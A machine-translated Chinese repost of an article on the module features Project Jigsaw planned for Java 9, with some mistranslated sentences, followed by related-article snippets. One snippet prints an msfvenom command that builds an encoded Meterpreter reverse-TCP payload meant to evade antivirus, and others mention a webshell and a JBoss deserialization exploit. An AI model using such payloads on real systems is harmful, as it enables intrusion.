功能项目拼图将Java 9引入

因此,拼图项目...我们已经对此颇为了解,但尚未看到计划如何兑现其承诺的细节。 这篇文章将精确地做到这一点,并介绍项目的核心概念和功能。

系列

这篇文章是正在进行的有关拼图项目系列的一部分。 按照推荐的顺序(不同于发布顺序),它们是:

  • 动机和目标
  • 核心概念和功能(即将推出)
  • 如何破坏您的代码
  • 历史,结构和当前状态(即将发生)
  • 动手指南(即将在EA版本包含JSR 376的情况下发布 )

相应的标记列出了有关该主题的更多文章。

总览

第一部分将介绍Jigsaw项目的核心概念,即模块。 然后,我们将看到它们将具有哪些功能,以及如何计划它们与现有代码和工具进行交互。

本文的主要来源是Jigsaw项目和JSR 376的要求 。 尽管这些文档基于全面的探索阶段,因此非常成熟,但它们仍可能会更改。 接下来的事情是一成不变的。

核心概念

有了Project Jigsaw,Java语言将得到扩展以具有模块概念。

[模块]是由代码和数据组成的自描述程序组件。 模块必须能够包含组织成包的Java类和接口,以及动态加载库形式的本机代码。 模块的数据必须能够包含静态资源文件和用户可编辑的配置文件。

Java平台模块系统:要求(草案2)

要了解模块,您可以将每个Apache Commons (例如Collections或IO), Google Guava或( cough ) LibFX之类的知名库都视为模块。 嗯,取决于作者希望对它们进行拆分的粒度,每个人实际上可能都包含几个模块。

对于应用程序也是如此。 它可能是单个整体模块,但也可能分成多个模块。 我想说一个项目的规模和凝聚力将是决定该项目可以组成的模块数量的主要决定因素。 当然,它的实际体系结构和实现是否允许这是另外一个故事。

计划是模块将成为开发人员中用来组织代码的常规工具。

开发人员已经在语言方面考虑了标准种类的程序组件,例如类和接口。 模块应该只是另一种程序组件,像类和接口一样,它们应该在程序开发的所有阶段都具有含义。

Mark Reinholds –拼图项目:聚焦全局

然后,可以在开发的所有阶段(即在编译时,构建时,安装时或运行时)将模块组合成各种配置。 它们将对像我们这样的Java用户可用(在这种情况下有时称为开发人员模块 ),但也将用于剖析Java运行时本身(通常称为平台模块 )。

实际上,这是有关如何将JDK模块化的当前计划:

jdk-tr

特征

那么模块如何工作? 查看计划中的功能将有助于我们对它们有所了解。

请注意,即使以下各节将介绍许多功能,也不会在所有可用详细信息中进行讨论,也不会完整列出这些功能。 如果您想了解更多信息,可以从方括号中的链接开始,或者立即查看Jigsaw项目和JSR 376的完整要求 。

依赖管理

为了解决JAR / classpath的难题 ,Jigsaw Project实现的核心功能之一是依赖管理。

声明与决议

一个模块将声明编译和运行[ 依赖项 ]所需的其他模块。 模块系统将使用它来可传递地标识编译或运行初始一个[ 分辨率 ]所需的所有模块。

也有可能不依赖于特定模块而是依赖于一组接口。 然后,模块系统将尝试查找实现这些接口并因此满足依赖项[ services , binding ]的模块。

版本控制

将支持版本控制模块[ 版本控制 ]。 他们将能够指示自己的版本(只要完全排序即可使用几乎任何格式),以及对其依赖项的约束。 在任何阶段都可以覆盖这两条信息。 模块系统将在每个阶段强制配置满足所有约束。

Project Jigsaw不一定会在单个配置中支持模块的多个版本 [ 多个版本 ]。 但是,等等,那这如何解决JAR地狱呢? 好问题。

模块系统也可能未实现版本选择。 因此,当我在上面写道“模块系统[将]识别编译或运行所需的所有模块”时,这是基于每个模块只有一个版本的假设。 如果有多个,则上游步骤(例如,开发人员,或者更可能是他使用的构建工具)必须进行选择,并且系统将仅验证其满足所有约束[ 版本选择 ]。

封装形式

从同一类路径加载的所有其他代码将自动提供JAR中的所有公共类和接口。 对于模块而言,情况将有所不同,在这些模块中,系统将在所有阶段强制执行更强的封装(无论是否存在安全管理器)。

一个模块将声明特定的包,并且仅导出其中包含的类型。 这意味着只有它们将对其他模块可见并且可访问。 更严格的说,这些类型只会导出到那些明确依赖包含它们的模块的模块中[ export , encapsulation ]。

为了帮助开发人员(尤其是那些模块化JDK的开发人员)保持较小的导出API界面,将存在其他发布机制。 这将允许一个模块指定要导出的其他软件包,但只能导出到一组指定的模块。 因此,尽管使用“常规”机制,导出模块将不知道(也不关心)谁访问了软件包,但该模块将允许它限制可能的依赖项集合( 合格的出口 )。

模块也可能会重新导出其依赖的模块的API(或其部分)。 这将允许在不破坏依赖关系的情况下拆分和合并模块,因为原始模块可以继续存在。 他们将导出与以前完全相同的软件包,即使它们可能不包含所有代码[ 重构 ]。 在极端情况下,所谓的聚合器模块可能根本不包含任何代码,并且只能作为一组模块的抽象。 实际上,来自Java 8的紧凑型概要文件就是这样。

不同的模块将能够包含相同名称的软件包,甚至允许它们导出它们[ export , non-interference ]。

Oracle将利用这个机会使所有内部API不可用 。 这将是采用Java 9的最大障碍,但肯定会树立正确的道路。 首先,因为关键代码现在对攻击者隐藏了,所以它将大大提高安全性。 它还将使JDK的可维护性大大提高,从长远来看,这将有回报。

配置,阶段和保真度

如前所述,在开发的所有阶段,模块都可以组合成各种配置。 对于平台模块而言,这是正确的,可用于创建与完整JRE或JDK,Java 8中引入的紧凑配置文件相同的映像,或仅包含一组指定模块(及其传递依赖项)的任何自定义配置[ JEP 200; 目标 ]。 同样,开发人员可以使用该机制来组合自己的模块化应用程序的不同变体。

在编译时,正在编译的代码将仅看到由一组配置的模块[ 编译时配置 ]导出的类型。 在构建时,一个新工具(大概称为JLink )将允许创建二进制运行时映像,该映像包含特定模块及其依赖项[ 构建时配置 ]。 在启动时,可以使图像看起来像仅包含其模块的子集[ 启动时配置 ]。

在每个阶段,都可以用较新的版本替换实现认可标准或独立技术的 模块 [ 可升级模块 ]。 这将替代已弃用的认可标准覆盖机制和扩展机制 。

除非由于特定原因[ 保真 ]不可能,否则模块系统的所有方面(例如依赖项管理,封装等)在所有阶段都将以相同的方式工作。

所有模块特定的信息(例如版本,依赖项和包导出)都将在代码文件中表示,而与IDE和构建工具无关。

性能

整个程序优化技术

在具有强封装性的模块系统中,自动推断将要使用特定代码段的所有位置要容易得多。 这使得某些程序分析和优化技术更加可行:

快速查找JDK和应用程序类; 早期字节码验证; 主动内联例如lambda表达式和其他标准编译器优化; 构造特定于JVM的内存映像,该映像可以比类文件更有效地加载; 将方法主体提前编译为本地代码; 并删除未使用的字段,方法和类。

拼图项目:目标与要求(草案3)

这些被标记为全程序优化技术 ,并且至少有两种这样的技术将在Java 9中实现。它还将包含一个工具,该工具可以分析给定的一组模块,并应用这些优化来创建性能更高的二进制映像。

注解

自动发现带注释的类(例如Spring允许)目前需要扫描某些指定包中的所有类。 这通常是在程序启动时完成的,可能会大大降低它的速度。

模块将具有一个API,允许调用者使用给定的注释标识所有类。 一种设想的方法是创建此类的索引,该类的索引将在模块编译时创建[ 注解检测 ]。

由droetker0912在CC-BY-NC-SA 2.0下发布。

发布时间由droetker0912下, CC-BY-NC-SA 2.0 。

与现有概念和工具的集成

诊断工具(例如堆栈跟踪)将被升级以传达有关模块的信息。 此外,它们将被完全集成到反射API中,该反射API可以以与类[ 反射,调试和工具 ]相同的方式来操作它们。 这将包括可以在运行时反映和覆盖的版本信息[ 反射API中的版本字符串 , 可覆盖的版本信息 ]。

该模块的设计将允许“以最少的麻烦”使用构建工具 [ 构建工具 ]。 模块的编译形式可以在类路径上使用,也可以作为模块使用,这样库开发人员就不必为类路径和基于模块的应用程序创建多个工件( 多模式工件 )。

还计划与其他模块系统(尤其是OSGi)进行互操作 [ 互操作 ]。

即使模块可以从其他模块隐藏包,也可以测试其中包含的类和接口[ 白盒测试 ]。

特定于操作系统的包装

该模块系统在设计时考虑了软件包管理器文件格式“ RPM,Debian和Solaris IPS”。 开发人员不仅可以使用现有工具从一组模块中创建特定于操作系统的软件包。 这样的模块也将能够调用以相同机制安装的其他模块[ 模块包装 ]。

开发人员还将能够将构成应用程序的一组模块打包到特定于OS的软件包中,“最终用户可以按照目标系统的惯常方式来安装和调用这些软件包”。 在上面的基础上,只需打包目标系统上不存在的那些模块即可[ 应用程序打包 ]。

动态配置

运行中的应用程序可以创建,运行和发布多个隔离的模块配置[ 动态配置 ]。 这些配置可以包含开发人员和平台模块。

这对于诸如IDE,应用程序服务器或Java EE平台的容器体系结构将很有用。

反射

我们已经看到Project Jigsaw将带给Java 9的大多数功能。它们都围绕着模块的新核心语言概念展开。

在日常编程中,最重要的可能是跨不同阶段的依赖关系管理,封装和配置。 改进的性能始终是一个不错的选择。 然后,需要投入大量工作来与现有工具和概念进行合作,例如反射,诊断,构建工具和特定于OS的打包。

等不及要尝试了? 我也不行! 但是,我们必须等到JSR 376进一步问世,然后才能将带有Project Jigsaw的JDK9或JDK 9的早期访问版本实际包含模块系统。 当它最终完成时,您将在这里阅读有关它的信息。

翻译自: https://www.javacodegeeks.com/2015/07/the-features-project-jigsaw-brings-to-java-9.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358750.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2021Kali -- 木马免杀制作

​知道为什么梦里的人都看不清脸么?因为怕你当真。。。 ---- 网易云热评 一、通过MSF生成shellcode 1、启动MSF,演示版本是6.0.36 2、通过msfvenom生成相关代码 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b \x00 l…

OpenCV与YOLO学习与研究指南

引言 OpenCV是一个开源的计算机视觉和机器学习软件库,而YOLO(You Only Look Once)是一个流行的实时对象检测系统。对于大学生和初学者而言,掌握这两项技术将大大提升他们在图像处理和机器视觉领域的能力。 基础知识储备 在深入…

目录爆破工具 -- dirsearch

我记得,以前总会和你聊的很晚很晚,现在我们不再说话了,我还是会熬夜,但我想,不如从今天开始早点睡吧。。。 一、环境:Kali2020.01、Python3.0 二、安装过程: 1、复制dirsearch到本地安装包 gi…

java coin介绍_代码示例中的Java 7:Project Coin

java coin介绍该博客通过代码示例介绍了一些新的Java 7功能,这些项目在Project Coin一词下进行了概述。 Project Coin的目标是向JDK 7添加一组小的语言更改。这些更改确实简化了Java语言语法。 更少的打字,更简洁的代码,愉悦的开发人员&#…

在Java中实现过滤器和面包店锁

为了了解锁的工作方式,实现自定义锁是一个好方法。 这篇文章将展示如何在Java上实现Filter和Bakery锁(自旋锁),并将它们的性能与Java的ReentrantLock进行比较。 过滤器锁和面包房锁满足互斥并且也是无饥饿算法,面包房锁…

Burpsuite工具的证书安装

Burpsuite工具的证书安装 Bursuite作为一款可以用来挖掘各种各样的WEB安全漏洞工具,在web安全渗透方面经常会使用到,可以用Bursuite进行对数据的抓包,其不安装证书时只能抓取http的包,安装证书就可以抓取https包,并分析…

物资申请php,php学生捐赠物品管理系统

捐赠物品管理系统采用php编程语言开发,mysql作为后台数据库支持,运行在wamp,appserv等集成环境上.为了方便学生捐赠物品,让更多的贫困人民得到更多的帮助,开发一套校园物品捐赠系统是十分必要的。而且可以培养学生的社会责任感,让他们更加富有…

哥斯拉Webshell

一.启动 命令:java -jar Godzilla-V2.96.jar 启动时同目录会生成data.db数据库存放数据 启动成功界面如下 二.使用(在本机实测) 这里演示jsp文件进行连接(需要提前配置好jsp环境) 1.点击管…

一次线上ctf的网络协议分析

拿到的是两个东西 我们先看secret.log 很多乱码但是有一串16进制数 把这段复制下来,我们放到HxD看 点击新建,直接粘贴 发现不对,观察头部,发现少了一个数(5) 因为加上5就是一个rar头部 即 导出来&…

Hibernate Collection Cache如何工作

介绍 之前,我描述了Hibernate用于存储实体的二级缓存条目结构。 除了实体,Hibernate还可以存储实体关联,本文将阐明集合缓存的内部工作原理。 领域模型 对于即将进行的测试,我们将使用以下实体模型: 存储库具有一组C…

模拟服务器和客户端交互的python脚本

脚本: 模拟服务器和客户端交互: import argparse, socket from datetime import datetimeIP "127.0.0.1" CODING "utf8" MAX_BYTES 65535 # UDP最大长度def server(port): # port:端口号sock socket.socket(socke…

动态规划 dynamic programming

动态规划dynamic programming June,7, 2015 作者:swanGooseMan 出处:http://www.cnblogs.com/swanGooseMan/p/4556588.html 声明:本文采用以下协议进行授权: 自由转载-非商用-非衍生-保持署名|Creative Commons BY-NC-ND 3.0 &…

利用Vulnhub复现漏洞 - JBoss JMXInvokerServlet 反序列化漏洞

JBoss JMXInvokerServlet 反序列化漏洞 Vulnhub官方复现教程漏洞原理 复现过程启动环境端口设置浏览器设置BurpSuit设置 复现漏洞序列化数据生成发送POCEXP Vulnhub官方复现教程 https://vulhub.org/#/environments/jboss/JMXInvokerServlet-deserialization/ 漏洞原理 这…

linux mysql 安装启动失败,Linux服务器一键安装包的mysql启动失败

Linux服务器上用一键安装包配置的环境,启动mysql失败,提示如下错误信息:排查方法:1、查看服务器的磁盘空间是否正常,登录服务器执行命令df -h查看磁盘空间,如果服务器的系统盘或者数据盘空间满了&#xff0…

Ubuntu 安装mysql和简单操作

ubuntu上安装mysql非常简单只需要几条命令就可以完成。 1. sudo apt-get install mysql-server2. apt-get isntall mysql-client3. sudo apt-get install libmysqlclient-dev安装过程中会提示设置密码什么的,注意设置了不要忘了,安装完成之后可以使用如…

在BurpSuite中安装Jython环境

在BurpSuite中安装Jython环境 下载模块 下载地址 https://www.jython.org/download.html 下载 Jython Standalone版本的 打开burp 第一个框子是刚刚下载jar包 第二个时候python的模块文件地址 要到 lib\site-packages里面 成功 转载于:https://blog.csdn.net/w…

matlab dtft的函数,DTFT的Matlab矩阵计算的理解

其实是早应该想到的,今天写程序的时候想到了。然后,跟同学说起来,说,原来国外的教材很多都是矩阵的形式来表示离散傅里叶变换的。但是国内的教材没有这么表达。一个是,自己看的东西还是少了,一个是&#xf…

xss测试工具(xsstrike基于python)

xsstrike很强 项目地址: https://github.com/s0md3v/XSStrike安装: git clone https://github.com/s0md3v/XSStrike.git使用文档: https://github.com/s0md3v/XSStrike/wiki/Usageusage: xsstrike.py [-h] [-u TARGET] [--data DATA] [-t …

变量和字符串

变量名就像我们现实社会的名字,把一个值赋值给一个名字时,Ta会存储在内存中,称之为变量(variable),在大多数语言中,都把这种动作称为(给变量赋值)或(把值存储在变量中&am…

Windows安全配置加固

安全配置加固——账号口令 账号优化 目的是为了梳理系统中的账号以及口令,避免默认账号及弱口令的存在 查看账号方式 在Windows中查看账号的方式有以下几种,这里就来简述一下 第一种:开始->运行->compmgmt.msc(进入计算…